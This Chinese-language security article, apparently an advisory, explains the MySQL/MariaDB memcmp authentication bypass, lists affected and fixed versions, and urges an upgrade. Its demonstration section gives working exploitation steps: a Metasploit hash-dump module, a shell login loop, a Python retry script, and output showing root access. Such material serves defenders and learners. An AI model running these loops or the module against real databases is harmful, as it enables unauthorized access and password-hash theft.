MariaDB和MySQL此前曝出一个极具危险性的认证绕过漏洞,其原理虽不复杂,但在实际攻击场景中却可能造成严重的数据泄露风险——攻击者无需知晓密码,即可直接登录数据库系统。
问题出在密码比对过程中的逻辑缺陷。当用户输入密码时,系统会调用memcmp()函数与预期密码进行比较。然而,由于不正确的返回值处理,即使memcmp()返回非零值(表明密码不匹配),数据库仍会错误地认为验证通过。
这意味着,攻击者只要知道用户名,通过反复尝试登录,就有机会直接进入SQL数据库。根据官方公告,平均每256次尝试即可成功一次,成功率相当高。目前,相关的利用工具已在互联网上广泛传播,风险极高。
受影响的产品范围
该漏洞影响以下版本的MariaDB和MySQL:
受影响版本:
- MariaDB 5.1.61 及更早版本
- MariaDB 5.2.11 及更早版本
- MariaDB 5.3.5 及更早版本
- MariaDB 5.5.22 及更早版本
不受影响版本:
- MariaDB 5.1.62、5.2.12、5.3.6、5.5.23 及之后版本
- MySQL 5.1.63、5.5.24、5.6.6 及之后版本
值得注意的是,Metasploit框架中已集成了针对该漏洞的利用模块,进一步降低了攻击门槛。
利用方法演示
方法一:使用Metasploit模块
该模块名为 mysql_authbypass_hashdump,使用方法非常简单:
$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump) > run
执行后,工具会不断尝试密码,一旦成功绕过认证,便自动导出数据库中的密码哈希值。从输出可见,仅尝试约205次便成功获取了root及其他账户的哈希数据。
方法二:利用Shell命令进行暴力循环尝试,仅需一个简单的for循环即可:
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
只要在循环中某一次密码匹配成功,即可直接进入MySQL命令行界面。
方法三:使用Python脚本自动化攻击
#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
运行该脚本后,系统将持续尝试连接,直至某次成功。从测试输出可以看到,在多次出现"ERROR 1045"(访问被拒绝)的报错后,最终成功建立连接:
relik@stronghold:~# python mysql_bypass.py
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
......(多次尝试后的输出)......
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 24598
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
一旦进入mysql>提示符,整个数据库便完全暴露在攻击者面前。
需要特别提醒的是,该漏洞的利用工具已非常成熟,攻击门槛极低。如果您的业务环境中仍在使用受影响版本的MariaDB或MySQL,请立即升级到安全版本,以防范潜在的数据泄露风险。
